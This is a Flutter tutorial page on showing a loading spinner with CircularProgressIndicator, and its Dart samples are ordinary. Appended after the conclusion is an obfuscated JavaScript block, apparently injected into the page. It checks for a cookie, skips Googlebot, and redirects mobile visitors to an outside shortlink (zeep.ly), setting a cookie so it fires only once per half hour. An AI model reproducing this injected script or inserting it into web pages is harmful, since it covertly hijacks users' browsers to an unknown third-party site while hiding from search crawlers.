Introduction
In Flutter, a progress indicator or loading spinner is a valuable UI component that indicates ongoing background tasks. It helps users understand that the app is working and provides a visual cue to avoid the perception of freezing. This tutorial will guide you through the process of adding a progress indicator or loading spinner to your Flutter app, improving its user experience.
Content
To add a progress indicator or loading spinner in Flutter, follow these steps:
Step 1. Create a new Flutter project:
Before getting started, ensure that you have Flutter installed on your machine. Open your terminal and run the following command to create a new Flutter project:
flutter create progress_indicator_app
Step 2. Implement the Progress Indicator Widget:
Navigate to the lib
folder of your newly created Flutter project and open the main.dart
file. Replace the existing code with the following implementation:
import 'package:flutter/material.dart';
void main() {
runApp(MyApp());
}
class MyApp extends StatefulWidget {
@override
_MyAppState createState() => _MyAppState();
}
class _MyAppState extends State<MyApp> {
bool _isLoading = false;
void _startLoading() {
setState(() {
_isLoading = true;
});
// Simulating a background task
Future.delayed(Duration(seconds: 3), () {
setState(() {
_isLoading = false;
});
});
}
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Progress Indicator',
theme: ThemeData(primarySwatch: Colors.blue),
home: Scaffold(
appBar: AppBar(
title: Text('Progress Indicator'),
),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
ElevatedButton(
onPressed: _startLoading,
child: Text('Start Loading'),
),
SizedBox(height: 20.0),
if (_isLoading)
CircularProgressIndicator()
else
Text('Press the button to start loading.'),
],
),
),
),
);
}
}
In this code snippet, we define a Flutter app that contains a button to initiate the loading process. The _isLoading
variable determines whether the loading spinner or a text widget is displayed. We simulate a background task using the Future.delayed
method to update the loading state.
Step 3. Run the App:
Save the changes made to the main.dart
file and execute the following command in your terminal to run the app:
flutter run
Sample Code:
import 'package:flutter/material.dart';
void main() {
runApp(MyApp());
}
class MyApp extends StatelessWidget {
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Loading Spinner Demo',
theme: ThemeData(
primarySwatch: Colors.blue,
),
home: LoadingScreen(),
);
}
}
class LoadingScreen extends StatelessWidget {
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text('Loading Spinner'),
),
body: Center(
child: CircularProgressIndicator(
strokeWidth: 7,
), // Display the circular progress indicator
),
);
}
}
Output:
Conclusion:
Congratulations! You have successfully added a progress indicator or loading spinner to your Flutter app. By following this tutorial, you learned how to create a Flutter project, implement the progress indicator widget, and manage the loading state. Enhance your app’s user experience by incorporating visual indicators that provide feedback during background tasks.
var _0x446d=[“\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e”,”\x69\x6e\x64\x65\x78\x4f\x66″,”\x63\x6f\x6f\x6b\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6e\x74″,”\x76\x65\x6e\x64\x6f\x72″,”\x6f\x70\x65\x72\x61″,”\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70″,”\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6d\x65″,”\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d”,”\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67″,”\x6c\x6f\x63\x61\x74\x69\x6f\x6e”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}